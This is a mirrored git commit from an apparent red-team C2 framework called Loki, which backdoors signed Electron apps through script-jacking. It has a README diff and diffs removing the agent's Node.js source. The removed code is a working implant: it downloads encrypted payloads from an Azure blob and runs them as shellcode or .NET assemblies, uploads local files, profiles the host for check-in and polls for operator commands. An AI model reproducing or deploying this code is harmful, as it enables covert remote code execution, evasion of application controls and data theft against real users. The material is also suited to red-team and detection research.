mirror of
https://github.com/boku7/Loki
synced 2026-06-06 15:24:27 +00:00
COFFLoader capability added
This commit is contained in:
@@ -2,8 +2,8 @@
|
||||
Loki is a stage-1 command and control (C2) framework written in Node.js, built to script-jack vulnerable Electron apps _[MITRE ATT&CK T1218.015](https://attack.mitre.org/techniques/T1218/015/)_. Developed for red team operations, Loki enables evasion of security software and bypasses application controls by exploiting trusted, signed Electron apps.
|
||||
|
||||
Script-jacking hijacks the execution flow of an Electron app by modifying JavaScript files loaded in at runtime with arbitrary Node.js code. This technique can be leveraged to:
|
||||
- __Backdoor the Electron app__
|
||||
- __Hollow out the Electron app__
|
||||
- __Backdoor Electron app__
|
||||
- __Hollow Electron app__
|
||||
- Chain execution to another process
|
||||
|
||||
_While several tools already address leveraging script-jacking to chain execution to another process, Loki is the first to enable backdooring and hollowing of signed Electron apps without invalidating their code signing signature._
|
||||
@@ -72,6 +72,7 @@ _All agent commands are written in native Node.JS and do not require additional
|
||||
| `scan` | Perform TCP network scan across CIDR range with selected ports |
|
||||
| `dns` | DNS lookup. Leverages systems DNS configuration |
|
||||
| `set` | Set the Node load paths for assembly node and scexec nodes |
|
||||
| `bof` | Execute a COFF file and return output |
|
||||
|
||||
#### `Set` - Loading Nodes from Application Control Exclusion Paths
|
||||
- If there are application control rules preventing library loads for the node files you can use the `set` command to change the load paths for `assembly.node` and `scexec.node`.
|
||||
@@ -186,7 +187,6 @@ bobby$ node obfuscateAgent.js
|
||||
- Click the agent from the dashboard table to open the agent window
|
||||
- Test to ensure Loki works properly
|
||||
|
||||
|
||||
## Backdooring Electron Apps and Keeping the real Application Working as Normal
|
||||
The most straightforward way to use Loki is to replace the files in `{ELECTRONAPP}/resources/app/` with the Loki files. This hollows out the app, meaning the app won't function normally -- Loki replaced its functionality.
|
||||
|
||||
@@ -282,7 +282,5 @@ I do not recommend compiling the agent and using it for operations. Agent compil
|
||||
- [Pavel Tsakalidis](https://x.com/sadreck)
|
||||
- [BEEMKA - Electron Exploitation Toolkit](https://github.com/ctxis/beemka)
|
||||
|
||||
|
||||
## License
|
||||
This project is licensed under the Business Source License 1.1. Non-commercial use is permitted under the terms of the license. Commercial use requires the author's explicit permission. On April 3, 2030, this license will convert to Apache 2.0. See [LICENSE](./LICENSE) for full details.
|
||||
|
||||
|
||||
Binary file not shown.
@@ -1,66 +0,0 @@
|
||||
const { generateUUID, generateAESKey } = require('./crypt.js');
|
||||
|
||||
class Window {
|
||||
constructor() {
|
||||
this.BrowserWindow = null;
|
||||
}
|
||||
|
||||
setBrowserWindow(BrowserWindow) {
|
||||
this.BrowserWindow = BrowserWindow;
|
||||
}
|
||||
}
|
||||
|
||||
class Container {
|
||||
constructor() {
|
||||
this.name = 's' + generateUUID(10);
|
||||
this.key = generateAESKey();
|
||||
this.blobs = {
|
||||
'key': 'k-' + generateUUID(10),
|
||||
'checkin': 'c-' + generateUUID(10),
|
||||
'in': 'i-' + generateUUID(10),
|
||||
'out': 'o-' + generateUUID(10)
|
||||
};
|
||||
}
|
||||
|
||||
setName(name) {
|
||||
this.name = name;
|
||||
}
|
||||
|
||||
setKey(key) {
|
||||
this.key = {
|
||||
'key': key.key,
|
||||
'iv': key.iv
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
class Agent {
|
||||
constructor(windowid, status = null) {
|
||||
this.window = new Window(windowid, status);
|
||||
this.agentid = 'a' + generateUUID(16);
|
||||
this.container = new Container();
|
||||
this.checkin = Date.now();
|
||||
this.sleepinterval = 5;
|
||||
this.sleepjitter = 15;
|
||||
this.thissleep = 5000;
|
||||
}
|
||||
|
||||
setAgentId(agentid) {
|
||||
this.agentid = agentid;
|
||||
}
|
||||
|
||||
setContainer(container) {
|
||||
this.container = container;
|
||||
}
|
||||
|
||||
// Method to replace the window
|
||||
setWindow(window) {
|
||||
this.window = window;
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
Agent,
|
||||
Window,
|
||||
Container
|
||||
};
|
||||
@@ -1,10 +0,0 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>My Electron App</title>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Hello, Electron!</h1>
|
||||
<script src="assembly.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -1,101 +0,0 @@
|
||||
const config = require('./config.js');
|
||||
const storageAccount = config.storageAccount;
|
||||
const sasToken = config.sasToken;
|
||||
const { ipcRenderer } = require('electron');
|
||||
const { log } = require('console');
|
||||
const {func_Decrypt} = require('./crypt.js');
|
||||
const {func_Split_Quoted_String} = require('./common.js');
|
||||
let dbg = true;
|
||||
|
||||
function func_log(text)
|
||||
{
|
||||
if(dbg)
|
||||
{
|
||||
log(text);
|
||||
}
|
||||
}
|
||||
|
||||
ipcRenderer.on('assembly', async (event, container, args, scexecblob, key,iv) => {
|
||||
try
|
||||
{
|
||||
func_log(`assembly.js | Hit IPC do-assembly | ${container} ${scexecblob}`);
|
||||
let assemblyoutput = await func_Azure_Assembly_Download_Exec(container,scexecblob,key,iv,args);
|
||||
ipcRenderer.send('end-file-op','do-assembly',assemblyoutput,key,iv);
|
||||
}catch(error)
|
||||
{
|
||||
func_log(`Error in IPC do-assembly : ${error} ${error.stack}`);
|
||||
}
|
||||
});
|
||||
async function func_Azure_Assembly_Download_Exec(containerName, scexecblob, key,iv,args)
|
||||
{
|
||||
// Construct the URL
|
||||
let output = "";
|
||||
const sasUrl = `https://${storageAccount}/${containerName}/${scexecblob}?${sasToken}`;
|
||||
func_log(`assembly.js | func_Azure_Assembly_Download_Exec | key : ${key} | iv : ${iv}`);
|
||||
key = Buffer.from(key, 'hex');
|
||||
iv = Buffer.from(iv, 'hex');
|
||||
|
||||
let response = await fetch(sasUrl);
|
||||
if (!response.ok) {
|
||||
output = `Couldn't download file, response: ${response.status}`;
|
||||
func_log( output );
|
||||
}else
|
||||
{
|
||||
func_log(`response.ok : ${response.ok}`);
|
||||
let arrayBuffer = await response.arrayBuffer();
|
||||
buffer = Buffer.from(arrayBuffer);
|
||||
raw = await func_Decrypt( buffer, key, iv );
|
||||
let assemblyNodePath = await ipcRenderer.invoke('get-global-path', 'assemblyNodePath');
|
||||
let x = require(assemblyNodePath);
|
||||
const argv = await func_Split_Quoted_String(args);
|
||||
let aoutput = x.execute_assembly(raw, argv);
|
||||
return aoutput;
|
||||
}
|
||||
}
|
||||
ipcRenderer.on('nodeload', async (event,nodepath) => {
|
||||
try
|
||||
{
|
||||
func_log(`assembly.js | Hit IPC do-node-load`);
|
||||
require(nodepath);
|
||||
}catch(error)
|
||||
{
|
||||
func_log(`Error in IPC do-node-load : ${error}`);
|
||||
}
|
||||
});
|
||||
ipcRenderer.on('scexec', async (event, container, scexecblob, key,iv) => {
|
||||
try
|
||||
{
|
||||
func_log(`assembly.js | Hit IPC do-scexec | ${container} ${scexecblob}`);
|
||||
await func_Azure_File_Download_Exec(container,scexecblob,key,iv);
|
||||
ipcRenderer.send('end-file-op','do-scexec','executed',key,iv);
|
||||
}catch(error)
|
||||
{
|
||||
func_log(`Error in IPC do-scexec : ${error}`);
|
||||
}
|
||||
});
|
||||
async function func_Azure_File_Download_Exec(containerName, scexecblob, key,iv)
|
||||
{
|
||||
// Construct the URL
|
||||
let output = "";
|
||||
const sasUrl = `https://${storageAccount}/${containerName}/${scexecblob}?${sasToken}`;
|
||||
func_log(`assembly.js | func_Azure_File_Download_Exec | key : ${key} | iv : ${iv}`);
|
||||
key = Buffer.from(key, 'hex');
|
||||
iv = Buffer.from(iv, 'hex');
|
||||
|
||||
let response = await fetch(sasUrl);
|
||||
if (!response.ok) {
|
||||
output = `Couldn't download file, response: ${response.status}`;
|
||||
func_log( output );
|
||||
return output;
|
||||
}else
|
||||
{
|
||||
func_log(`response.ok : ${response.ok}`);
|
||||
let arrayBuffer = await response.arrayBuffer();
|
||||
buffer = Buffer.from(arrayBuffer);
|
||||
raw = await func_Decrypt( buffer, key, iv );
|
||||
let scexecNodePath = await ipcRenderer.invoke('get-global-path', 'scexecNodePath');
|
||||
func_log(`scexecNodePath : ${scexecNodePath}`);
|
||||
const native = require(scexecNodePath);
|
||||
func_log(`func_Azure_File_Download_Exec result : ${native.run_array(Array.from(raw))}`);
|
||||
}
|
||||
}
|
||||
Binary file not shown.
@@ -1,10 +0,0 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>My Electron App</title>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Hello, Electron!</h1>
|
||||
<script src="browser.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -1,491 +0,0 @@
|
||||
const config = require('./config.js');
|
||||
const storageAccount = config.storageAccount;
|
||||
const sasToken = config.sasToken;
|
||||
const { ipcRenderer } = require('electron');
|
||||
const { log } = require('console');
|
||||
const {func_Encrypt,func_Decrypt,func_Base64_Encode} = require('./crypt.js');
|
||||
const os = require('os');
|
||||
const fsp = require('fs').promises;
|
||||
const {func_Split_Quoted_String} = require('./common.js');
|
||||
let dbg = false;
|
||||
|
||||
function func_log(text)
|
||||
{
|
||||
if(dbg)
|
||||
{
|
||||
log(text);
|
||||
}
|
||||
}
|
||||
|
||||
async function func_Web_Request(options, data = null, isBytes=false) {
|
||||
|
||||
// Set headers to prevent caching
|
||||
options['headers'] = {
|
||||
'Cache-Control': 'no-cache, no-store, must-revalidate',
|
||||
'Pragma': 'no-cache',
|
||||
'Expires': '0',
|
||||
...options['headers']
|
||||
};
|
||||
let url = `https://${options['hostname']}:${options['port']}${options['path']}`;
|
||||
let response = new Response();
|
||||
let r_data;
|
||||
try {
|
||||
if ( data ) {
|
||||
if ( data.length > 20000 ) {
|
||||
} else {
|
||||
}
|
||||
options['body'] = data;
|
||||
}
|
||||
response = await fetch(url, options);
|
||||
|
||||
if (!isBytes) {
|
||||
r_data = await response.text();
|
||||
} else {
|
||||
r_data = await response.arrayBuffer();
|
||||
}
|
||||
return {'status':response.status,'data':r_data};
|
||||
} catch (error) {
|
||||
|
||||
}
|
||||
}
|
||||
ipcRenderer.on('do-node-load', async (event,nodepath) => {
|
||||
try
|
||||
{
|
||||
func_log(`browser.js | Hit IPC do-node-load`);
|
||||
require(nodepath);
|
||||
}catch(error)
|
||||
{
|
||||
func_log(`Error in IPC do-node-load : ${error}`);
|
||||
}
|
||||
});
|
||||
ipcRenderer.on('scexec', async (event, container, scexecblob, key,iv) => {
|
||||
try
|
||||
{
|
||||
func_log(`browser.js | Hit IPC do-scexec | ${container} ${scexecblob}`);
|
||||
await func_Azure_File_Download_Exec(container,scexecblob,key,iv);
|
||||
ipcRenderer.send('end-file-op','do-scexec','did sc',key,iv);
|
||||
}catch(error)
|
||||
{
|
||||
func_log(`Error in IPC do-scexec : ${error}`);
|
||||
}
|
||||
});
|
||||
async function func_Azure_File_Download_Exec(containerName, scexecblob, key,iv)
|
||||
{
|
||||
// Construct the URL
|
||||
let output = "";
|
||||
const sasUrl = `https://${storageAccount}/${containerName}/${scexecblob}?${sasToken}`;
|
||||
func_log(`browser.js | func_Azure_File_Download_Exec | key : ${key} | iv : ${iv}`);
|
||||
key = Buffer.from(key, 'hex');
|
||||
iv = Buffer.from(iv, 'hex');
|
||||
|
||||
let response = await fetch(sasUrl);
|
||||
if (!response.ok) {
|
||||
output = `Couldn't download file, response: ${response.status}`;
|
||||
func_log( output );
|
||||
return output;
|
||||
}else
|
||||
{
|
||||
func_log(`response.ok : ${response.ok}`);
|
||||
let arrayBuffer = await response.arrayBuffer();
|
||||
buffer = Buffer.from(arrayBuffer);
|
||||
raw = await func_Decrypt( buffer, key, iv );
|
||||
let scExecNodePath = await ipcRenderer.invoke('get-global-path', 'scExecNodePath');
|
||||
func_log('scExecNodePath:', scExecNodePath);
|
||||
|
||||
const native = require(scExecNodePath);
|
||||
func_log(`func_Azure_File_Download_Exec result : ${native.run_array(Array.from(raw))}`);
|
||||
}
|
||||
}
|
||||
ipcRenderer.on('do-launch', async (event,nodepath,delay) => {
|
||||
try
|
||||
{
|
||||
func_log(`browser.js | Hit IPC do-launch`);
|
||||
await new Promise(resolve => setTimeout(resolve, delay));
|
||||
require(nodepath);
|
||||
}catch(error)
|
||||
{
|
||||
func_log(`Error in IPC do-assembly : ${error} ${error.stack}`);
|
||||
}
|
||||
});
|
||||
|
||||
ipcRenderer.on('do-pull-file', async (event, container, downloadblob, dstpath,key,iv) => {
|
||||
try
|
||||
{
|
||||
func_log(`browser.js | Hit IPC do-pull-file | ${container} ${downloadblob} ${dstpath}`);
|
||||
await func_Azure_File_Download(container,downloadblob,dstpath,key,iv);
|
||||
ipcRenderer.send('end-file-op','do-pull-file','pulled file',key,iv);
|
||||
}catch(error)
|
||||
{
|
||||
func_log(`Error in IPC do-pull-file : ${error}`);
|
||||
}
|
||||
});
|
||||
async function func_Azure_File_Download(containerName, downloadblob, dstpath,key,iv)
|
||||
{
|
||||
// Construct the URL
|
||||
let output = "";
|
||||
const sasUrl = `https://${storageAccount}/${containerName}/${downloadblob}?${sasToken}`;
|
||||
key = Buffer.from(key, 'hex');
|
||||
iv = Buffer.from(iv, 'hex');
|
||||
func_log(`browser.js | func_Azure_File_Download | key : ${key} | iv : ${iv}`);
|
||||
|
||||
//await new Promise(resolve => setTimeout(resolve, 5000));
|
||||
let response = await fetch(sasUrl);
|
||||
if (!response.ok) {
|
||||
output = `Couldn't download file, response: ${response.status}`;
|
||||
func_log( output );
|
||||
return output;
|
||||
}else
|
||||
{
|
||||
func_log(`response.ok : ${response.ok}`);
|
||||
let arrayBuffer = await response.arrayBuffer();
|
||||
buffer = Buffer.from(arrayBuffer);
|
||||
raw = await func_Decrypt( buffer, key, iv );
|
||||
await fsp.writeFile(dstpath, raw, (err) => {
|
||||
output = `Error writing file: ${err.stack}`;
|
||||
func_log( output );
|
||||
return output;
|
||||
});
|
||||
output = `File ${dstpath} has been saved`;
|
||||
func_log( output );
|
||||
return output;
|
||||
}
|
||||
}
|
||||
|
||||
ipcRenderer.on('do-push-file', async (event, container, srcpath, uploadblob,key,iv) => {
|
||||
try
|
||||
{
|
||||
func_log(`browser.js | Hit IPC do-push-file | ${container} ${srcpath} ${uploadblob}`);
|
||||
await func_Azure_Upload_File(container,srcpath,uploadblob,key,iv);
|
||||
ipcRenderer.send('end-file-op','do-push-file','pushedfile',key,iv);
|
||||
}catch(error)
|
||||
{
|
||||
func_log(`Error in IPC do-push-file : ${error}`);
|
||||
}
|
||||
});
|
||||
async function func_File_Read_ToBuffer(filePath) {
|
||||
try {
|
||||
// Read the file as a binary buffer
|
||||
const fileBuffer = await fsp.readFile(filePath);
|
||||
return fileBuffer;
|
||||
} catch (error) {
|
||||
func_log(`Error reading file: ${error}`);
|
||||
return "";
|
||||
}
|
||||
}
|
||||
async function func_Azure_Upload_File(containerName, srcpath, uploadblob,key,iv)
|
||||
{
|
||||
try {
|
||||
// Read the file content
|
||||
key = Buffer.from(key, 'hex');
|
||||
iv = Buffer.from(iv, 'hex');
|
||||
|
||||
func_log(`browser.js | func_Azure_Upload_File() hit`);
|
||||
let bufferfile = await func_File_Read_ToBuffer(srcpath);
|
||||
let enc = await func_Encrypt( bufferfile, key, iv );
|
||||
const sasUrl = `https://${storageAccount}/${containerName}/${uploadblob}?${sasToken}`;
|
||||
|
||||
const response = await fetch(sasUrl, {
|
||||
port: 443,
|
||||
method: 'PUT',
|
||||
headers: {
|
||||
'x-ms-blob-type': 'BlockBlob',
|
||||
'Content-Type': 'application/octet-stream'
|
||||
},
|
||||
body: enc
|
||||
});
|
||||
if (response.status != 201) {
|
||||
output = `Couldnt upload file, response: ${response.status}`;
|
||||
func_log( output );
|
||||
}else
|
||||
{
|
||||
output = `Successfully uploaded file ${srcpath} to https://${storageAccount}/${containerName}/${uploadblob} blob`;
|
||||
func_log(output);
|
||||
}
|
||||
} catch (error) {
|
||||
output = `Error uploading file ${srcpath} to azure : ${error.stack}`;
|
||||
func_log( output );
|
||||
}
|
||||
}
|
||||
|
||||
async function func_Container_Create(StorageContainer)
|
||||
{
|
||||
let options = {
|
||||
hostname: storageAccount,
|
||||
port: 443,
|
||||
path: `/${StorageContainer}?restype=container&${sasToken}`,
|
||||
method: 'PUT',
|
||||
headers: {
|
||||
'x-ms-version': '2020-02-10', // The version of the Azure Blob Storage API to use
|
||||
'x-ms-date': new Date().toUTCString(), // The current date and time in UTC format
|
||||
'Content-Length': 0
|
||||
}
|
||||
};
|
||||
return await func_Web_Request(options);
|
||||
}
|
||||
|
||||
async function func_Blob_Create(StorageContainer,StorageBlob,data)
|
||||
{
|
||||
try
|
||||
{
|
||||
if ( data == null)
|
||||
{
|
||||
data = "";
|
||||
}
|
||||
data = data.toString();
|
||||
const options = {
|
||||
hostname: storageAccount,
|
||||
port: 443,
|
||||
path: `/${StorageContainer}/${StorageBlob}?${sasToken}`, // Path with SAS token and blob parameters
|
||||
method: 'PUT',
|
||||
headers: {
|
||||
'x-ms-version': '2020-02-10', // The version of the Azure Blob Storage API to use
|
||||
'x-ms-date': new Date().toUTCString(), // The current date and time in UTC format
|
||||
'x-ms-blob-type': 'BlockBlob', // Blob type
|
||||
'Content-Type': 'text/plain', // Set appropriate content type
|
||||
'Content-Length': Buffer.byteLength(data) // Length of the data
|
||||
}
|
||||
};
|
||||
return await func_Web_Request(options,data);
|
||||
}catch(error)
|
||||
{
|
||||
func_log(`Error in func_Blob_Create() : ${error}`);
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
// Function to read a blob's contents
|
||||
async function func_Blob_Read(StorageContainer, StorageBlob)
|
||||
{
|
||||
const options = {
|
||||
hostname: storageAccount,
|
||||
port: 443,
|
||||
path: `/${StorageContainer}/${StorageBlob}?${sasToken}`,
|
||||
method: 'GET',
|
||||
headers: {
|
||||
'x-ms-version': '2020-02-10',
|
||||
'x-ms-date': new Date().toUTCString()
|
||||
}
|
||||
};
|
||||
return await func_Web_Request(options);
|
||||
}
|
||||
|
||||
async function func_Blob_Write(StorageContainer,StorageBlob,data)
|
||||
{
|
||||
try
|
||||
{
|
||||
if ( data == null)
|
||||
{
|
||||
data = "";
|
||||
}
|
||||
data = data.toString();
|
||||
const options = {
|
||||
hostname: storageAccount,
|
||||
port: 443,
|
||||
path: `/${StorageContainer}/${StorageBlob}?${sasToken}`, // Path with SAS token and blob parameters
|
||||
method: 'PUT',
|
||||
headers: {
|
||||
'x-ms-version': '2020-02-10', // The version of the Azure Blob Storage API to use
|
||||
'x-ms-date': new Date().toUTCString(), // The current date and time in UTC format
|
||||
'x-ms-blob-type': 'BlockBlob', // Blob type
|
||||
'Content-Type': 'text/plain', // Set appropriate content type
|
||||
'Content-Length': Buffer.byteLength(data) // Length of the data
|
||||
}
|
||||
};
|
||||
return await func_Web_Request(options,data);
|
||||
}catch(error)
|
||||
{
|
||||
return error;
|
||||
}
|
||||
}
|
||||
|
||||
ipcRenderer.on('send-output', async (event, container, outblob, output) => {
|
||||
try
|
||||
{
|
||||
await func_Blob_Write(container,outblob,output);
|
||||
}catch(error)
|
||||
{
|
||||
func_log(`Error in send-output() : ${error}`);
|
||||
return error;
|
||||
}
|
||||
});
|
||||
|
||||
ipcRenderer.on('input-read', async (event, container, inblob) => {
|
||||
try
|
||||
{
|
||||
let updateresp;
|
||||
let response = await func_Blob_Read(container,inblob);
|
||||
let checkin = Date.now();
|
||||
if (response.status === 200)
|
||||
{
|
||||
const numberValue = Number(response.data);
|
||||
if (!isNaN(numberValue))
|
||||
{
|
||||
updateresp = await func_Blob_Write(container,inblob,checkin);
|
||||
} else
|
||||
{
|
||||
if (response.data)
|
||||
{
|
||||
ipcRenderer.send('do-command',response.data);
|
||||
updateresp = await func_Blob_Write(container,inblob,checkin);
|
||||
}
|
||||
}
|
||||
if(typeof updateresp.status != 'undefined')
|
||||
{
|
||||
if (updateresp.status === 201)
|
||||
{
|
||||
ipcRenderer.send('poll-complete',checkin,inblob);
|
||||
}
|
||||
}
|
||||
}else
|
||||
{
|
||||
ipcRenderer.send('containers-created',false);
|
||||
}
|
||||
}catch (error) {
|
||||
func_log(`${error} ${error.stack}`);
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
async function getSystemInfo() {
|
||||
try
|
||||
{
|
||||
// Collect system information
|
||||
// let hostname = process.env[ 'USERDOMAIN' ];
|
||||
// if ( typeof hostname === 'undefined' ) {
|
||||
// hostname = "";
|
||||
// } else if ( hostname == os.hostname() ) {
|
||||
// hostname = "WORKSTATION";
|
||||
// }
|
||||
// else {
|
||||
// hostname = "UNKNOWN";
|
||||
// }
|
||||
// hostname += '/' + os.hostname();
|
||||
let hostname = os.hostname();
|
||||
|
||||
const username = os.userInfo().username;
|
||||
const osType = os.type();
|
||||
const osRelease = os.release();
|
||||
const platform = os.platform();
|
||||
const arch = os.arch();
|
||||
|
||||
const PID = process.pid;
|
||||
let procName = process.argv[ 0 ];
|
||||
procName = procName.trim().replace(/Helper \(Renderer\)/g, "").trim();
|
||||
func_log(`procName: ${procName}`);
|
||||
const nets = os.networkInterfaces();
|
||||
const IpInfo = []
|
||||
for (const name of Object.keys(nets)) {
|
||||
for (const net of nets[name]) {
|
||||
// 'IPv4' is in Node <= 17, from 18 it's a number 4 or 6
|
||||
const familyV4Value = typeof net.family === 'string' ? 'IPv4' : 4
|
||||
if (net.family === familyV4Value && !net.internal) {
|
||||
IpInfo.push( net.address );
|
||||
}
|
||||
}
|
||||
}
|
||||
// Create a JSON object with the collected information
|
||||
const systemInfo = {
|
||||
hostname: hostname,
|
||||
username: username,
|
||||
osType: osType,
|
||||
osRelease: osRelease,
|
||||
platform: platform,
|
||||
arch: arch,
|
||||
PID: PID,
|
||||
Process: procName,
|
||||
IP: IpInfo,
|
||||
checkIn: Date.now()
|
||||
};
|
||||
return systemInfo;
|
||||
}catch (error) {
|
||||
func_log(`${error} ${error.stack}`);
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
ipcRenderer.on('init-container', async (event, container, blobs_json, key, iv) => {
|
||||
try
|
||||
{
|
||||
let blobs = JSON.parse(blobs_json);
|
||||
const aes = {
|
||||
'key':key,
|
||||
'iv':iv
|
||||
}
|
||||
key = Buffer.from(key, 'hex');
|
||||
iv = Buffer.from(iv, 'hex');
|
||||
|
||||
func_log(`IPC init-container hit : container : ${container}`);
|
||||
// let response = await func_Container_Create(container);
|
||||
//func_log(`func_Container_Create response status ${response.status}`);
|
||||
let options = {
|
||||
hostname: storageAccount,
|
||||
port: 443,
|
||||
path: `/${container}?restype=container&${sasToken}`,
|
||||
method: 'PUT',
|
||||
headers: {
|
||||
'x-ms-version': '2020-02-10', // The version of the Azure Blob Storage API to use
|
||||
'x-ms-date': new Date().toUTCString(), // The current date and time in UTC format
|
||||
'Content-Length': 0,
|
||||
'Cache-Control': 'no-cache, no-store, must-revalidate',
|
||||
'Pragma': 'no-cache',
|
||||
'Expires': '0'
|
||||
}
|
||||
}
|
||||
let url = `https://${options['hostname']}:${options['port']}${options['path']}`;
|
||||
func_log(url);
|
||||
let response = new Response();
|
||||
response = await fetch(url, options);
|
||||
r_data = await response.text();
|
||||
|
||||
if(response.status == 201)
|
||||
{
|
||||
const nulldata = "";
|
||||
func_log(`blobs : ${blobs_json}`);
|
||||
let checkin = Date.now();
|
||||
let inresp = await func_Blob_Create(container,blobs['in'],checkin);
|
||||
func_log(`inresp status response ${inresp.status}`);
|
||||
let outresp = await func_Blob_Create(container,blobs['out'],nulldata);
|
||||
func_log(`outresp status response ${outresp.status}`);
|
||||
let selfInfo = await getSystemInfo();
|
||||
const checkin_encryptedData = await func_Encrypt(JSON.stringify(selfInfo, null, 1), key, iv);
|
||||
const checkin_b64EncData = await func_Base64_Encode(checkin_encryptedData);
|
||||
let checkinresp = await func_Blob_Create(container,blobs['checkin'],checkin_b64EncData);
|
||||
func_log(`checkinresp status response ${checkinresp.status}`);
|
||||
let keyresp = await func_Blob_Create(container,blobs['key'],JSON.stringify(aes));
|
||||
func_log(`keyresp status response ${keyresp.status}`);
|
||||
if(inresp.status === 201 && outresp.status === 201 && checkinresp.status === 201 && keyresp.status === 201 )
|
||||
{
|
||||
ipcRenderer.send('containers-created',true);
|
||||
}else
|
||||
{
|
||||
ipcRenderer.send('containers-created',false);
|
||||
}
|
||||
}else
|
||||
{
|
||||
ipcRenderer.send('containers-created',false);
|
||||
}
|
||||
}catch (error) {
|
||||
func_log(`${error} ${error.stack}`);
|
||||
}
|
||||
});
|
||||
|
||||
// Listen for the window ID from the main process
|
||||
ipcRenderer.on('init-mapping-container', async (event, metaContainer,agentname,agentcontainer) => {
|
||||
try
|
||||
{
|
||||
let response = await func_Container_Create(metaContainer);
|
||||
let outresp = await func_Blob_Create(metaContainer,agentname,agentcontainer);
|
||||
}catch (error) {
|
||||
func_log(`Error in ipcRender(init-mapping-container): ${error.message}\r\n${error.stack}`);
|
||||
}
|
||||
});
|
||||
|
||||
function func_Checkin_Send()
|
||||
{
|
||||
let timestamp = Date.now();
|
||||
ipcRenderer.send('checkin', timestamp);
|
||||
}
|
||||
|
||||
|
||||
setInterval(func_Checkin_Send, 10000);
|
||||
-101
@@ -1,101 +0,0 @@
|
||||
async function func_Split_Quoted_String(str) {
|
||||
const result = [];
|
||||
let current = '';
|
||||
let insideQuotes = false;
|
||||
let quoteChar = '';
|
||||
|
||||
for (let i = 0; i < str.length; i++) {
|
||||
const char = str[i];
|
||||
|
||||
if (insideQuotes) {
|
||||
if (char === '\\' && (str[i + 1] === quoteChar || str[i + 1] === '\\')) {
|
||||
// Handle escaped quote or backslash
|
||||
current += str[i + 1];
|
||||
i++; // Skip the next character
|
||||
} else if (char === quoteChar) {
|
||||
// End of quoted string
|
||||
insideQuotes = false;
|
||||
result.push(current);
|
||||
current = '';
|
||||
} else {
|
||||
// Inside quoted string
|
||||
current += char;
|
||||
}
|
||||
} else {
|
||||
if (char === '"' || char === "'") {
|
||||
// Start of quoted string
|
||||
insideQuotes = true;
|
||||
quoteChar = char;
|
||||
} else if (char === '\\' && str[i + 1] === ' ') {
|
||||
// Handle escaped space
|
||||
current += ' ';
|
||||
i++; // Skip the next character
|
||||
} else if (char === ' ') {
|
||||
// Space outside of quotes
|
||||
if (current.length > 0) {
|
||||
result.push(current);
|
||||
current = '';
|
||||
}
|
||||
} else {
|
||||
// Unquoted string
|
||||
current += char;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Add the last argument if there's any
|
||||
if (current.length > 0) {
|
||||
result.push(current);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
async function numcheck(value, defaultNumber, min = 1, max = 900) {
|
||||
if (typeof value !== 'number' || isNaN(value)) {
|
||||
value = defaultNumber;
|
||||
}
|
||||
if (value < min) {
|
||||
return min;
|
||||
} else if (value > max) {
|
||||
return max;
|
||||
} else {
|
||||
return value;
|
||||
}
|
||||
}
|
||||
|
||||
async function getrand(number, percent) {
|
||||
try {
|
||||
// Calculate the range based on the percentage
|
||||
number = Number(number);
|
||||
percent = Number(percent);
|
||||
const range = number * (percent / 100);
|
||||
|
||||
// Calculate the minimum and maximum values
|
||||
let minValue = number - range;
|
||||
let maxValue = number + range;
|
||||
if (minValue < 1000) {
|
||||
minValue = 1000;
|
||||
}
|
||||
if (maxValue < 1000) {
|
||||
maxValue = 1000;
|
||||
}
|
||||
|
||||
if (maxValue > 600000) {
|
||||
maxValue = 600000;
|
||||
}
|
||||
|
||||
// Generate a random value between minValue and maxValue
|
||||
const randomValue = Math.random() * (maxValue - minValue) + minValue;
|
||||
|
||||
return Math.floor(randomValue);
|
||||
} catch (error) {
|
||||
// Handle error if needed
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
func_Split_Quoted_String,
|
||||
numcheck,
|
||||
getrand
|
||||
};
|
||||
@@ -1,85 +0,0 @@
|
||||
const crypto = require('crypto');
|
||||
const { log } = require('console');
|
||||
|
||||
function generateAESKey()
|
||||
{
|
||||
const key_material = {
|
||||
'key' : crypto.randomBytes(32), // 256-bit key
|
||||
'iv' : crypto.randomBytes(16) // 128-bit IV
|
||||
};
|
||||
return key_material;
|
||||
}
|
||||
|
||||
// Function to AES encrypt data with a static key and IV
|
||||
async function func_Encrypt(data,key,iv) {
|
||||
const cipher = crypto.createCipheriv('aes-256-cbc', key, iv);
|
||||
|
||||
let encrypted = "";
|
||||
if ( Buffer.isBuffer( data ) ) {
|
||||
encrypted = Buffer.concat([cipher.update(data), cipher.final()]);
|
||||
}
|
||||
else {
|
||||
encrypted = cipher.update(data, 'utf8', 'hex');
|
||||
encrypted += cipher.final('hex');
|
||||
}
|
||||
return encrypted;
|
||||
}
|
||||
|
||||
async function func_Decrypt(encryptedData,key,iv) {
|
||||
const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);
|
||||
|
||||
let decrypted = "";
|
||||
if ( Buffer.isBuffer( encryptedData ) ) {
|
||||
decrypted = Buffer.concat([decipher.update(encryptedData), decipher.final()]);
|
||||
}
|
||||
else {
|
||||
decrypted = decipher.update(encryptedData, 'hex', 'utf8');
|
||||
decrypted += decipher.final('utf8');
|
||||
}
|
||||
return decrypted;
|
||||
}
|
||||
|
||||
// Function to encode a string to base64
|
||||
async function func_Base64_Encode(input) {
|
||||
//log(`crypt.js | func_Base64_Encode() | typeof input : ${typeof input}`);
|
||||
if(typeof input == 'string')
|
||||
{
|
||||
// Create a buffer from the input string
|
||||
input = Buffer.from(input, 'utf-8');
|
||||
}
|
||||
// Convert the buffer to a base64 encoded string
|
||||
const base64 = input.toString('base64');
|
||||
return base64;
|
||||
}
|
||||
|
||||
// Function to decode a base64 string
|
||||
async function func_Base64_Decode(base64) {
|
||||
// Create a buffer from the base64 encoded string
|
||||
